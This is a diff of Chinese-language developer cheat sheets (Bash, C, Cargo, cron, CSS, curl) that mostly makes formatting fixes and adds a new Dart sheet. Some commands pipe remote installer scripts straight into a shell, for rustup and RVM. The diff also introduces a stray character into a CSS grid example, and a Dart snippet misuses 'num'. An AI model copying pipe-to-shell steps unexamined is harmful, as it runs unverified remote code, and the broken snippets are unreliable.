`${Fruits[@]:3:2}` | 范围
`${!Fruits[@]}` | 所有 Key
### 迭代 Iteration
@ -265,7 +264,9 @@ for e in "${Fruits[@]}"; do
echo $e
done
```
#### With index
```bash
for i in "${!Fruits[@]}"; do
printf "%s\t%s\n" "$i" "${Fruits[$i]}"
@ -443,7 +444,6 @@ fi
`[[ f1 -ot f2 ]]` | f2 早于 f1
`[[ f1 -ef f2 ]]` | 相同的文件
### 更多条件
条件 | 描述
@ -451,7 +451,7 @@ fi
`[[ -o noclobber ]]` | 如果启用 OPTION
`[[ ! EXPR ]]` | 不是 Not
`[[ X && Y ]]` | 和 And
`[[ X \|\| Y ]]` | 或者 Or
`[[ X \|\| Y ]]` | 或者 Or
### 逻辑和,或
@ -554,7 +554,7 @@ until [ $count -gt 10 ]; do
done
```
### 永远
### 永远
```bash
while true; do
@ -570,7 +570,6 @@ while :; do
done
```
### 正在读取行
```bash
@ -720,8 +719,7 @@ Bash 历史
`!!` 可以替换为任何有效的扩展,即 `!cat`、`!-2`、`!42` 等。
各种各样的
各种各样的
-------------
### 数值计算
@ -741,7 +739,6 @@ $(($RANDOM%200)) # Random number 0..199
pwd # still in first directory
```
### 检查命令
```bash
@ -765,7 +762,6 @@ python hello.py &>/dev/null # 标准输出和标准错误到空null
python hello.py < foo.txt # 将 foo.txt 提供给 python 的标准输入
```
### 来源相对
```bash
@ -791,7 +787,6 @@ case "$1" in
esac
```
### 陷阱错误
<!--rehype:wrap-class=col-span-2-->
@ -862,7 +857,6 @@ fi
见[特殊参数](http://wiki.bash-hackers.org/syntax/shellvars#special_parameters_and_shell_variables)。
### grep 检查
<!--rehype:wrap-class=col-span-2-->
@ -872,11 +866,10 @@ if grep -q 'foo' ~/.bash_history; then
fi
```
### 反斜杠转义
<!--rehype:wrap-class=row-span-2-->
- &nbsp;
- &nbsp;
- \!
- \"
- \#
@ -963,11 +956,11 @@ echo "${args[@]}"
另见
----
* [Shell 教程](https://jaywcjlove.github.io/shell-tutorial) _(jaywcjlove.github.io)_
* [Devhints](https://devhints.io/bash) _(devhints.io)_
* [Bash-hackers wiki](http://wiki.bash-hackers.org/) _(bash-hackers.org)_
* [Shell vars](http://wiki.bash-hackers.org/syntax/shellvars) _(bash-hackers.org)_
* [Learn bash in y minutes](https://learnxinyminutes.com/docs/bash/) _(learnxinyminutes.com)_
* [Bash Guide](http://mywiki.wooledge.org/BashGuide) _(mywiki.wooledge.org)_
* [ShellCheck](https://www.shellcheck.net/) _(shellcheck.net)_
* [shell - Standard Shell](https://devmanual.gentoo.org/tools-reference/bash/index.html) _(devmanual.gentoo.org)_
- [Shell 教程](https://jaywcjlove.github.io/shell-tutorial) _(jaywcjlove.github.io)_
- [Devhints](https://devhints.io/bash) _(devhints.io)_
- [Bash-hackers wiki](http://wiki.bash-hackers.org/) _(bash-hackers.org)_
- [Shell vars](http://wiki.bash-hackers.org/syntax/shellvars) _(bash-hackers.org)_
- [Learn bash in y minutes](https://learnxinyminutes.com/docs/bash/) _(learnxinyminutes.com)_
- [Bash Guide](http://mywiki.wooledge.org/BashGuide) _(mywiki.wooledge.org)_
- [ShellCheck](https://www.shellcheck.net/) _(shellcheck.net)_
- [shell - Standard Shell](https://devmanual.gentoo.org/tools-reference/bash/index.html) _(devmanual.gentoo.org)_

View File

@ -560,13 +560,13 @@ printf("Line 6 - c 的值是 %d\n", c );
<!--rehype:wrap-class=col-span-2-->
运算符 | 描述 | 实例
:- |:- |:-
:- |:- |:-
`&` | 按位与操作,按二进制位进行"与"运算 | `(A & B)` 将得到 `12` 即为 0000 1100
`\|` | 按位或运算符,按二进制位进行"或"运算 | `(A \| B)` 将得到 `61` 即为 0011 1101
`^` | 异或运算符,按二进制位进行"异或"运算 | `(A ^ B)` 将得到 `49` 即为 0011 0001
`~` | 取反运算符,按二进制位进行"取反"运算 | `(~A)` 将得到 `-61` 即为 1100 0011
`<<` | 二进制左移运算符 | `A << 2` 将得到 `240` 即为 1111 0000
`>>` | 二进制右移运算符 | `A >> 2` 将得到 `15` 即为 0000 1111
`<<` | 二进制左移运算符 | `A << 2` 将得到 `240` 即为 1111 0000
`>>` | 二进制右移运算符 | `A >> 2` 将得到 `15` 即为 0000 1111
数据类型 Data Types
---
@ -608,7 +608,7 @@ printf("%c\n", myLetter);
printf("%lf\n", myDouble);
```
---
----
数据类型 | 说 明
:- | :-
@ -620,7 +620,6 @@ printf("%lf\n", myDouble);
`double` | 双精度浮点型
`void` | 无类型
### 基本格式说明符
| 格式说明符 | 数据类型 |
@ -659,17 +658,17 @@ printf("%c\n", myLetter);
指令 | 描述
---- | ----
`#define` | 定义宏
`#include` | 包含一个源代码文件
`#undef` | 取消已定义的宏
`#ifdef` | 如果宏已经定义,则返回真
`#ifndef` | 如果宏没有定义,则返回真
`#if` | 如果给定条件为真,则编译下面代码
`#else` | `#if` 的替代方案
`#define` | 定义宏
`#include` | 包含一个源代码文件
`#undef` | 取消已定义的宏
`#ifdef` | 如果宏已经定义,则返回真
`#ifndef` | 如果宏没有定义,则返回真
`#if` | 如果给定条件为真,则编译下面代码
`#else` | `#if` 的替代方案
`#elif` | 如果 `#if` 条件为假,当前条件为`真`
`#endif` | 结束一个 `#if……#else` 条件编译块
`#error` | 当遇到标准错误时,输出错误消息
`#pragma` | 使用标准化方法,向编译器发布特殊的命令到编译器中
`#endif` | 结束一个 `#if……#else` 条件编译块
`#error` | 当遇到标准错误时,输出错误消息
`#pragma` | 使用标准化方法,向编译器发布特殊的命令到编译器中
```c
// 所有的 MAX_ARRAY_LENGTH 替换为 20
@ -743,8 +742,6 @@ Carole 和 Debra: 我们爱你!
需要把一个宏的参数转换为字符串常量时,使用字符串常量化运算符 `#`
### 标记粘贴运算符(##
```c
@ -821,12 +818,12 @@ void myFunction() { // 声明 declaration
}
```
---
----
- `Declaration` 声明函数名称、返回类型和参数 _(如果有)_
- `Definition` 函数体 _(要执行的代码)_
---
----
```c
// 函数声明
@ -949,7 +946,7 @@ printf("%f", floor(1.4)); // 四舍五入 (舍)
printf("%f", pow(4, 3)); // x(4)的y(3)次方
```
---
----
- `abs(x)` 绝对值
- `acos(x)` 反余弦值
@ -1304,16 +1301,21 @@ void main (){
- 安装 [`Docker`](./docker.md)
- 创建 [`Dockerfile`](./dockerfile.md) 文件
```dockerfile
FROM alpine:3.14
RUN apk add --no-cache gcc musl-dev
RUN apk add --no-cache g++
```
- 生成本地 myalpine 镜像
```bash
docker build -t myalpine .
```
- 运行映像,把当前路径 `($PWD)` 映射至容器的 `/test` 目录,用 `gcc` 编译程序,`exit`返回
```bash
docker run -it -v $PWD:/test myalpine
root@b1a38bd7107a:/# cd test
@ -1324,8 +1326,7 @@ void main (){
```
<!--rehype:className=style-timeline-->
另见
---
- [C 教程](https://jaywcjlove.github.io/c-tutorial) _(jaywcjlove.github.io)_
- [C 教程](https://jaywcjlove.github.io/c-tutorial) _(jaywcjlove.github.io)_

View File

@ -6,8 +6,7 @@ Cargo 备忘清单
入门
--------
### 安装 Rust 和 Cargo
### 安装/升级 Rust 和 Cargo
```bash
$ curl -sSf https://static.rust-lang.org/rustup.sh | sh
@ -266,7 +265,7 @@ $ cargo install --path .
$ cargo install --list
```
----
---
- `--vers version`
- `--version version` 指定要安装的版本
@ -315,13 +314,13 @@ $ cargo uninstall ripgrep
$ cargo login [options] [token]
```
----
---
:-|:-
:-|:-
`--registry` | 要使用的注册表的名称
----
---
:-|:-
:-|:-
@ -339,7 +338,8 @@ $ cargo owner --add username foo
# 从包中删除所有者:
$ cargo owner --remove username foo
```
----
---
:-|:-
:-|:-
@ -357,7 +357,7 @@ $ cargo owner --remove username foo
编译选项
- `--target triple` 为指定架构执行 Package
- `--target triple` 为指定架构执行 Package
- `--target-dir directory` 用于存放生成的工件以及中间文件的目录
特性选择
@ -384,7 +384,7 @@ $ cargo owner --remove username foo
$ cargo package [options]
```
----
---
- `-l`, `--list` 输出包中包含的文件(不实际进行打包)。
- `--no-verify` 构建包时不进行校验。
@ -429,4 +429,4 @@ $ cargo yank --vers 1.0.7 foo
---
- [The Cargo Book](https://doc.rust-lang.org/stable/cargo/) _(doc.rust-lang.org)_
- [Cargo 手册 中文版](https://www.rustwiki.org.cn/zh-CN/cargo/index.html) _(rustwiki.org.cn)_
- [Cargo 手册 中文版](https://www.rustwiki.org.cn/zh-CN/cargo/index.html) _(rustwiki.org.cn)_

View File

@ -107,7 +107,6 @@ d rwx r-x r-x
| `a` | 全部,和 ugo 一样 |
<!--rehype:className=show-header-->
### 权限
| 缩写 | 权限 | 值 |
@ -138,7 +137,6 @@ Chmod 示例
| `-` | 删除 |
| `=` | 设置 |
### chmod 600
```shell
@ -504,4 +502,4 @@ $ find /path -type f -exec chmod 644 {} \;
return perm_num;
}
</script>
```
```

View File

@ -111,4 +111,4 @@ $ cmake --help[-<topic>]
另见
----
- [CMake Examples](http://ttroy50.github.io/cmake-examples/) _(ttroy50.github.io)_
- [CMake Examples](http://ttroy50.github.io/cmake-examples/) _(ttroy50.github.io)_

View File

@ -6,6 +6,8 @@ CSS 定义了一大组[命名颜色](https://www.w3.org/TR/css-color-4/#named-co
Named Colors
---
<!-- markdownlint-disable MD038 -->
### 颜色列表
<!--rehype:wrap-class=col-span-3&style=display:none;&wrap-style=padding-top: 0;-->
@ -760,7 +762,6 @@ HSL 颜色示例
</table>
<!--rehype:className=show-header-->
### 150° Green-Cyans
<!--rehype:wrap-class=col-span-3-->
@ -880,7 +881,6 @@ HSL 颜色示例
</table>
<!--rehype:className=show-header-->
### 180° Cyans
<!--rehype:wrap-class=col-span-3-->
@ -1000,7 +1000,6 @@ HSL 颜色示例
</table>
<!--rehype:className=show-header-->
### 210° Cyan-Blues
<!--rehype:wrap-class=col-span-3-->
@ -1120,7 +1119,6 @@ HSL 颜色示例
</table>
<!--rehype:className=show-header-->
### 240° blues
<!--rehype:wrap-class=col-span-3-->
@ -1240,7 +1238,6 @@ HSL 颜色示例
</table>
<!--rehype:className=show-header-->
### 270° Blue-Magentas
<!--rehype:wrap-class=col-span-3-->
@ -1360,7 +1357,6 @@ HSL 颜色示例
</table>
<!--rehype:className=show-header-->
### 300° Magentas
<!--rehype:wrap-class=col-span-3-->
@ -1480,7 +1476,6 @@ HSL 颜色示例
</table>
<!--rehype:className=show-header-->
### 330° Magenta-Reds
<!--rehype:wrap-class=col-span-3-->
@ -1600,9 +1595,8 @@ HSL 颜色示例
</table>
<!--rehype:className=show-header-->
另见
----
- [CSS 备忘清单](./css.md)
- [Named Colors](https://www.w3.org/TR/css-color-4/#named-colors) _(w3.org)_
- [Named Colors](https://www.w3.org/TR/css-color-4/#named-colors) _(w3.org)_

View File

@ -209,7 +209,6 @@ $ conan inspect boost/1.74.0
请参阅 [conan get](https://docs.conan.io/en/latest/reference/commands/consumer/get.html) 和 [conan inspect](https://docs.conan.io/en/latest/reference/commands/misc/inspect.html) 参考
### Lockfiles
创建一个锁文件:

View File

@ -1,7 +1,6 @@
Cron 备忘清单
===
[Cron](https://en.wikipedia.org/wiki/Cron) 最适合安排重复性任务。 可以使用关联的 at 实用程序来完成一次性任务的调度。
Crontab 格式
@ -27,7 +26,7 @@ Min Hour Day Mon Weekday
└───────────────────── 分钟 (0..59)
```
------
-------
| 字段 | 范围 | 特殊字符 |
|--------------|--------|--------------------|
@ -38,7 +37,6 @@ Min Hour Day Mon Weekday
| 星期几 | 0 - 6 | , - * ? / L # |
<!--rehype:className=show-header -->
### 示例
| Example | Description |
@ -56,7 +54,6 @@ Min Hour Day Mon Weekday
| `0 0 0 1 1 *` | 每年 1 月 1 日(每年) |
| `@reboot` | 每次重启 _(非标准)_ |
### 特殊字符串
| 特殊字符串 | 意义 |
@ -64,14 +61,13 @@ Min Hour Day Mon Weekday
| @reboot | 运行一次,在系统启动时 _非标准_ |
| @yearly | 每年运行一次“0 0 1 1 *” _非标准_ |
| @annually | (与@yearly 相同_非标准_ |
| @monthly | 每月运行一次“0 0 1 * *_非标准_ |
| @weekly | 每周运行一次“0 0 * * 0” _非标准_ |
| @daily | 每天运行一次“0 0 * * *” _非标准_ |
| @monthly | 每月运行一次“0 0 1 \* \*” _非标准_ |
| @weekly | 每周运行一次“0 0 \* \* 0” _非标准_ |
| @daily | 每天运行一次“0 0 \* \* \*” _非标准_ |
| @midnight | (与@daily 相同_非标准_ |
| @hourly | 每小时运行一次“0 * * * *_非标准_ |
| @hourly | 每小时运行一次“0 \* \* \* \*_非标准_ |
<!--rehype:className=show-header -->
### Crontab 命令
| - | - |
@ -82,7 +78,6 @@ Min Hour Day Mon Weekday
| `crontab -v` | 显示您上次编辑 crontab 文件的时间。 _非标准_ |
| `echo "@reboot echo hi" | crontab` | 轻松添加任务 |
### 特殊字符
<!--rehype:wrap-class=col-span-2-->
@ -97,9 +92,9 @@ Min Hour Day Mon Weekday
`问号(?)` | 可以代替“*”并允许用于月份和星期几。使用仅限于 cron 表达式中的 `月份中的某天``星期几`
<!--rehype:className=show-header auto-wrap-->
另见
----
## Also see
* [Devhints](https://devhints.io/cron) _(devhints.io)_
* [Crontab Generator](https://crontab-generator.org/) _(crontab-generator.org)_
* [Crontab guru](https://crontab.guru/) _(crontab.guru)_
- [Devhints](https://devhints.io/cron) _(devhints.io)_
- [Crontab Generator](https://crontab-generator.org/) _(crontab-generator.org)_
- [Crontab guru](https://crontab.guru/) _(crontab.guru)_

View File

@ -149,14 +149,14 @@ div {
}
```
查看: [Flexbox](#css-flexbox) | [Flex Tricks](#css-flexbox-tricks)
查看: [Flexbox](#css-flexbox) | [Flex Tricks](#css-flexbox-技巧)
### Grid 布局
```css
#container {
display: grid;
grid: repeat(2, 60px) / auto-flow 80px;
s grid: repeat(2, 60px) / auto-flow 80px;
}
#container > div {
background-color: #8ca0ff;
@ -165,7 +165,7 @@ div {
}
```
查看: [Grid Layout](#css-grid-layout)
查看: [Grid Layout](#grid-布局)
### 变量和计数器
@ -244,17 +244,16 @@ p:first-child {
另见: [元素](https://developer.mozilla.org/zh-CN/docs/Web/CSS/Type_selectors) / [](https://developer.mozilla.org/zh-CN/docs/Web/CSS/Class_selectors) / [ID](https://developer.mozilla.org/zh-CN/docs/Web/CSS/ID_selectors) / [通配](https://developer.mozilla.org/zh-CN/docs/Web/CSS/Universal_selectors) 选择器
### 组合器
选择器 | 说明
:- | :-
`div.classname` | 具有特定类名的 div
`div#idname` | 具有特定 ID 的 div
`div p` | div 中的段落
`div > p` | div 子节点中的所有 `P` 标签
`div + p` | div 之后的 `P` 标签
`div ~ p` | div 前面的 `P` 标签
`div p` | div 中的所有段落
`div > p` | 父元素是 div 的 `P` 标签
`div + p` | div 之后的第一个同级 `P` 标签
`div ~ p` | div 之后所有的同级 `P` 标签
另见: [相邻兄弟](https://developer.mozilla.org/zh-CN/docs/Web/CSS/Adjacent_sibling_combinator) / [通用兄弟](https://developer.mozilla.org/zh-CN/docs/Web/CSS/General_sibling_combinator) / [](https://developer.mozilla.org/zh-CN/docs/Web/CSS/Child_combinator) 选择器
@ -277,10 +276,10 @@ p:first-child {
选择器 | 说明
:- | :-
`a:link ` | 链接正常 [#](https://developer.mozilla.org/zh-CN/docs/Web/CSS/:link)
`a:active ` | 链接处于点击状态 [#](https://developer.mozilla.org/zh-CN/docs/Web/CSS/:active)
`a:hover ` | 鼠标悬停链接 [#](https://developer.mozilla.org/zh-CN/docs/Web/CSS/:hover)
`a:visited ` | 访问链接 [#](https://developer.mozilla.org/zh-CN/docs/Web/CSS/:visited)
`a:link` | 链接正常 [#](https://developer.mozilla.org/zh-CN/docs/Web/CSS/:link)
`a:active` | 链接处于点击状态 [#](https://developer.mozilla.org/zh-CN/docs/Web/CSS/:active)
`a:hover` | 鼠标悬停链接 [#](https://developer.mozilla.org/zh-CN/docs/Web/CSS/:hover)
`a:visited` | 访问链接 [#](https://developer.mozilla.org/zh-CN/docs/Web/CSS/:visited)
---
@ -367,12 +366,12 @@ CSS 字体
`font-family:` | 字体族名或通用字体族名 [#](https://developer.mozilla.org/zh-CN/docs/Web/CSS/font-family)
`font-size:` | 字体的大小 [#](https://developer.mozilla.org/zh-CN/docs/Web/CSS/font-size)
`letter-spacing:` | 文本字符的间距 [#](https://developer.mozilla.org/zh-CN/docs/Web/CSS/letter-spacing)
`line-height:` | 多行文本间距 [#](https://developer.mozilla.org/zh-CN/docs/Web/CSS/line-height)
`font-weight:` | 粗细程度 [#](https://developer.mozilla.org/zh-CN/docs/Web/CSS/font-weight)
`font-style:` | 字体样式 [#](https://developer.mozilla.org/zh-CN/docs/Web/CSS/font-style)
`text-decoration:` | 文本的修饰线外观 [#](https://developer.mozilla.org/zh-CN/docs/Web/CSS/text-decoration)
`text-align:` | 相对它的块父元素对齐 [#](https://developer.mozilla.org/zh-CN/docs/Web/CSS/text-align)
`text-transform:` | 指定文本大小写 [#](https://developer.mozilla.org/zh-CN/docs/Web/CSS/text-transform)
`line-height:` | 多行文本间距 [#](https://developer.mozilla.org/zh-CN/docs/Web/CSS/line-height)
`font-weight:` | 粗细程度 [#](https://developer.mozilla.org/zh-CN/docs/Web/CSS/font-weight)
`font-style:` | 字体样式 [#](https://developer.mozilla.org/zh-CN/docs/Web/CSS/font-style)
`text-decoration:` | 文本的修饰线外观 [#](https://developer.mozilla.org/zh-CN/docs/Web/CSS/text-decoration)
`text-align:` | 相对它的块父元素对齐 [#](https://developer.mozilla.org/zh-CN/docs/Web/CSS/text-align)
`text-transform:` | 指定文本大小写 [#](https://developer.mozilla.org/zh-CN/docs/Web/CSS/text-transform)
另见: [Font](https://developer.mozilla.org/zh-CN/docs/Web/CSS/font)
@ -488,8 +487,8 @@ CSS 背景
属性 | 说明
:- | :-
`background:` | _([速记](#速记-1))_
`background-color:` | 查看: [Colors](#css-颜色)
`background:` | _([速记](#速记-1))_
`background-color:` | 查看: [Colors](#css-颜色)
`background-image:` | 一个或者多个背景图像
`background-position:` | 背景图片设置初始位置
`background-size:` | 背景图片大小
@ -555,7 +554,7 @@ CSS 盒子模型
另见: [box-sizing](https://developer.mozilla.org/zh-CN/docs/Web/CSS/Box-sizing)
### 能见度
### 能见度
```css
.invisible-elements {
@ -565,7 +564,6 @@ CSS 盒子模型
另见: [Visibility](https://developer.mozilla.org/zh-CN/docs/Web/CSS/visibility)
### Auto 关键字
```css
@ -577,7 +575,6 @@ div {
另见: [边距(margin)](https://developer.mozilla.org/zh-CN/docs/Web/CSS/margin)
### 溢出(Overflow)
```css
@ -607,7 +604,7 @@ animation: bounce 300ms linear 100ms infinite alternate-reverse
属性 | 说明
:- | :-
`animation:` | _([速记](#速记-2))_
`animation:` | _([速记](#速记-2))_
`animation-name:` | 动画名 [#](https://developer.mozilla.org/zh-CN/docs/Web/CSS/animation-name)
`animation-duration:` | 动画周期的时长 [#](https://developer.mozilla.org/zh-CN/docs/Web/CSS/animation-duration)
`animation-timing-function:` | 缓动函数 [#](https://developer.mozilla.org/zh-CN/docs/Web/CSS/animation-timing-function)
@ -804,7 +801,7 @@ flex-wrap: nowrap | wrap | wrap-reverse;
flex-direction: row | row-reverse | column | column-reverse;
```
----
---
```bash
╭┈┈╮ ▲ ╭┈┈╮ ┆
@ -825,7 +822,7 @@ column-reverse column row row-reverse
align-items: flex-start | flex-end | center | baseline | stretch;
```
----
---
```css
▶ flex-start(起点对齐) ▶ flex-end(终点对齐)
@ -863,7 +860,7 @@ align-content: flex-start | flex-end | center | space-between | space-around | s
```
<!--rehype:className=wrap-text -->
----
---
```css
▶ flex-start(起点对齐) ▶ flex-end(终点对齐)
@ -903,7 +900,7 @@ align-content: flex-start | flex-end | center | space-between | space-around | s
}
```
----
---
```css
╭┈┈┈┈┈┈┈┈┈┈┈┈┈┈┈┈┈┈┈┈┈┈┈┈┈┈┈┈┈┈┈┈╮ ╭┈┈┈┈┈┈┈┈┈╮
@ -927,7 +924,7 @@ align-content: flex-start | flex-end | center | space-between | space-around | s
}
```
----
---
```css
╭┈┈┈┈┈┈┈┈┈┈┈┈┈┈┈┈┈┈┈┈┈┈┈╮
@ -983,7 +980,6 @@ CSS Flexbox 技巧
### 移动布局
```css
.container {
display: flex;
@ -1069,7 +1065,7 @@ CSS Grid 网格布局
### CSS 网格行
<!--rehype:wrap-class=row-span-2-->
CSS 语法:
CSS 语法:
- grid-row: grid-row-start / grid-row-end;
@ -1128,7 +1124,7 @@ grid-row-gap: length;
### grid-row-start & grid-row-end
CSS 语法:
CSS 语法:
- grid-row-start: auto|row-line;
- grid-row-end: auto|row-line|span n;
@ -1166,7 +1162,6 @@ grid-row-end: span 2;
}
```
### Justify Self
```css
@ -1376,7 +1371,6 @@ a[href^="http"]:empty::before {
如果 `<a>` 标签里面没有内容,将 `href` 的值作为内容展示
### 使用 :root 表示灵活类型
<!--rehype:wrap-class=row-span-2-->
@ -1396,6 +1390,27 @@ body {
}
```
### 吸附滚动
<!--rehype:wrap-class=row-span-2-->
```css {5,12}
.container {
height: 250px;
overflow-x: scroll;
display: flex;
scroll-snap-type: x mandatory;
column-gap: 10px;
}
.child {
flex: 0 0 66%;
width: 250px;
background-color: #663399;
scroll-snap-align: center;
}
```
可用于 `轮播图` 效果,[效果预览](https://codesandbox.io/embed/pensive-leftpad-w9p8rk?fontsize=14&hidenavigation=1&theme=dark)
### 类似 contenteditable 的样式
```css
@ -1408,7 +1423,6 @@ div {
通过样式来控制一个元素 `div` 是否可以编辑
另见
---------
@ -1419,4 +1433,4 @@ div {
- [CSS Tricks: A Complete Guide to Grid](https://css-tricks.com/snippets/css/complete-guide-grid/)
- [Browser support](https://caniuse.com/#feat=css-grid)
- [Flex 布局教程:语法篇](https://www.ruanyifeng.com/blog/2015/07/flex-grammar.html?utm_source=tuicool)
- [CSS 专业技巧](https://github.com/AllThingsSmitty/css-protips/tree/master/translations/zh-CN)
- [CSS 专业技巧](https://github.com/AllThingsSmitty/css-protips/tree/master/translations/zh-CN)

View File

@ -13,7 +13,6 @@ Curl 是一种在服务器之间传输数据的工具,支持协议,包括 HT
- [Curl GitHub 源码仓库](https://github.com/curl/curl) _(github.com)_
- [Curl 官方网站](https://curl.se/) _(curl.se)_
### Options
<!--rehype:wrap-class=col-span-2 row-span-2-->
@ -151,9 +150,9 @@ curl -sSL https://get.rvm.io | bash
命令 | 说明
:- | :-
`curl -L -s http://ipecho.net/plain, curl -L -s http://whatismijnip.nl` | 获取我的公共 `IP`
`curl -u $username:$password http://repo.dennyzhang.com/README.txt` | 带凭证的 `curl`
`curl -u $username:$password http://repo.dennyzhang.com/README.txt` | 带凭证的 `curl`
`curl -v -F key1=value1 -F upload=@localfilename <URL>` | `curl` 上传
`curl -k -v --http2 https://www.google.com/` | 使用 http2 curl
`curl -k -v --http2 https://www.google.com/` | 使用 http2 curl
`curl -T cryptopp552.zip -u test:test ftp://10.32.99.187/` | curl `ftp` 上传
`curl -u test:test ftp://10.32.99.187/cryptopp552.zip -o cryptopp552.zip` | curl `ftp` 下载
`curl -v -u admin:admin123 --upload-file package1.zip http://mysever:8081/dir/package1.zip` | 使用凭证 `curl` 上传
@ -282,4 +281,4 @@ curl -K file
# 从文件中读取配置
curl --config file
$HOME/.curlrc # 类 UNIX 系统中的默认配置文件
```
```

598
docs/dart.md Normal file
View File

@ -0,0 +1,598 @@
Dart 备忘清单
===
包含最重要概念、功能、方法等的 [Dart](https://dart.dev/) 备忘单。初学者的完整快速参考
入门
-----
### 安装 Dart
<!--rehype:wrap-class=row-span-2-->
#### Windows
```bash
C:\> choco install dart-sdk # Windows
```
#### Linux
执行以下一次性设置
```bash
$ sudo apt-get update
$ sudo apt-get install apt-transport-https
$ wget -qO- https://dl-ssl.google.com/linux/linux_signing_key.pub | sudo gpg --dearmor -o /usr/share/keyrings/dart.gpg
$ echo 'deb [signed-by=/usr/share/keyrings/dart.gpg arch=amd64] https://storage.googleapis.com/download.dartlang.org/linux/debian stable main' | sudo tee /etc/apt/sources.list.d/dart_stable.list
```
安装 Dart SDK
```bash
$ sudo apt-get update
$ sudo apt-get install dart
```
#### Mac
```bash
$ brew tap dart-lang/dart
$ brew install dart
```
### hello.dart
```dart
// 应用执行开始的顶级函数
void main() {
print("Hello World!"); // 打印到控制台
}
```
每个应用程序都有一个 `main()` 函数
#### Windows
```bash
$ dart compile exe hellow.dart
$ time ./hello.exe
Hello World!
```
### 变量
```dart
int x = 2; // 显式键入
var p = 5; // 类型推断 - 具有类型推断的通用var
dynamic z = 8; // 变量可以采用任何类型
z = "cool"; // cool
// 如果您从不打算更改变量,请使用 final 或 const
// 像这样的东西:
final email = "temid@gmail.com";
// 与 var 相同,但不能重新分配
final String email = "temid@gmail.com";
// 你不能改变价值
const qty = 5; // 编译时常数
```
### 数据类型
<!--rehype:wrap-class=row-span-2-->
```dart
// 整数,范围 -2^63 到 2^63 - 1
int age = 20;
// 浮点数字
double height = 1.85;
// 您还可以将变量声明为 num
// x 可以同时具有 int 和 double 值
num x = 1;
num += 2.5;
print(num); // 打印: 3.5
String name = "Nicola";
bool isFavourite = true;
bool isLoaded = false;
```
### 注释
```dart
// 这是一条正常的单行注释
/// 这是一个文档注释,用于文档库,
/// 类及其成员。 IDE 和 dartdoc 等工具
/// doc 特别注释。
/* 也支持此类注释 */
```
### 字符串插值
```dart
// 可以对字符串类型使用单引号或双引号
var firstName = 'Nicola';
var lastName = "Tesla";
// 可以用 $ 将变量嵌入到字符串中
String fullName = "$firstName $lastName";
// 与 + 连接
var name = "Albert " + "Einstein";
String upperCase = '${firstName.toUpperCase()}';
print(upperCase); // 打印: NICOLA
```
<!--rehype:className=wrap-text -->
### 导入 Imports
```dart
// 导入核心库
import 'dart:math';
// 从外部包导入库
import 'package:test/test.dart';
// 导入文件
import 'path/to/my_other_file.dart';
```
操作符
-------
### 算术运算符
<!--rehype:wrap-class=row-span-2-->
```dart
print(2 + 3); // 打印: 5
print(2 - 3); // 打印: -1
print(2 * 3); // 打印: 6
print(5 / 2); // 打印: 2.5 - 结果是 double
print(5 ~/ 2); // 打印: 2 - 结果是n int
print(5 % 2); // 打印: 1 - 余
int a = 1, b;
```
----
```dart
// 增
b = ++a; // 前增量 - 在 b 获得其值之前增加 a
b = a++; // 后增量 - 在 b 获得它的值之后增加 a
// 递
b = --a; // 前减量 - 在 b 获得它的值之前减少 a
b = a--; // 后减量 - 在 b 获得它的值之后递减 a
```
### 逻辑运算符
<!--rehype:wrap-class=col-span-2-->
```dart
// !expr 反转表达式(将 false 更改为 true反之亦然
// || 逻辑或
// && 逻辑与
bool isOutOfStock = false;
int quantity = 3;
if (!isOutOfStock && (quantity == 2 || quantity == 3)) {
// ...Order the product...
}
```
### 等式和关系运算符
```dart
print(2 == 2); // 打印: true - 平等的
print(2 != 3); // 打印: true - 不相等
print(3 > 2); // 打印: true - 比...更棒
print(2 < 3); // 打印: true - 少于
print(3 >= 3); // 打印: true - 大于或等于
print(2 <= 3); // 打印: true - 小于或等于
```
控制流:条件
------
### if 和 else if
```dart
if(age < 18){
print("Teen");
} else if( age > 18 && age <60){
print("Adult");
} else {
print("Old");
}
```
### switch case
```dart
enum Pet {dog, cat}
Pet myPet = Pet.dog;
switch(myPet){
case Pet.dog:
print('My Pet is Dog.');
break;
case Pet.cat:
print('My Pet is Cat.');
break;
default:
print('I don\'t have a Pet');
}
// 打印: My Pet is Dog.
```
控制流:循环
-----
### while 循环
```dart
while (!dreamsAchieved) {
workHard();
}
```
循环迭代之前的 `while` 循环检查条件
### do-while 循环
```dart
do {
workHard();
} while (!dreamsAchieved);
```
`do-while` 循环在执行循环内的语句后验证条件
### for 循环
```dart
for(int i=0; i< 10; i++){
print(i);
}
var numbers = [1,2,3];
// 列表的 for-in 循环
for(var number in numbers){
print(number);
}
```
Collections
------------
### Lists
<!--rehype:wrap-class=col-span-2-->
```dart
// 有序的对象组
var list = [1, 2, 3];
print(list.length); //Print: 3
print(list[1]); //Print: 2
// 列表声明和初始化的其他方式
List<String> cities = <String>["New York", "Mumbai", "Tokyo"];
// 创建一个编译时常量的列表
const constantCities = const ["New York", "Mumbai", "Tokyo"];
```
### Maps
<!--rehype:wrap-class=row-span-2-->
```dart
// 映射是关联键和值的对象
var person = Map<String, String>();
// 要初始化地图,请执行以下操作:
person['firstName'] = 'Nicola';
person['lastName'] = 'Tesla';
print(person);
// 打印: {firstName:Nicola, lastName:Tesla}
print(person['lastName']);
// 打印: Tesla
var nobleGases = {
// Key: Value
2: 'helium',
10: 'neon',
18: 'argon',
};
```
### Sets
<!--rehype:wrap-class=col-span-2-->
```dart
// Dart 中的集合是唯一项的无序集合
var halogens = {'fluorine', 'chlorine', 'bromine', 'iodine', 'astatine'};
// 创建一个空集
var names = <String>{};
Set<String> names = {}; // 这也有效
//var names = {}; // 创建地图,而不是集合
```
函数
------
### 函数示例
```dart
// dart 中的函数是对象并且有一个类型
int add(int a, int b){
return a+b;
}
// 函数可以分配给变量
int sum = add(2,3); // 回报5
// 可以作为参数传递给其他函数
int totalSum = add(2, add(2,3)); // 返回7
```
### 箭头语法 (=>)
```dart
// 只包含一个表达式的函数,您可以使用简写语法
bool isFav(Product product) => favProductsList.contains(product);
```
<!--rehype:className=wrap-text-->
### Anonymous (lambda) functions
```dart
// 没有名字的小单行函数
int add(a,b) => a+b;
// lambda 函数大多作为参数传递给其他函数
const list = [
'apples', 'bananas', 'oranges'
];
list.forEach(
(item) =>
print('${list.indexOf(item)}: $item')
);
// 打印: 0: apples 1: bananas 2: oranges
```
<!--rehype:className=wrap-text-->
类和对象
----------
### 类 Class
```dart
class Cat {
String name;
// 方法
void voice(){
print("Meow");
}
}
```
### 对象 Object
```dart
// 类的实例
// 在 myCat 下面是 Cat 类的对象
void main(){
Cat myCat = Cat();
myCat.name = "Kitty";
myCat.voice(); // 打印: Meow
}
```
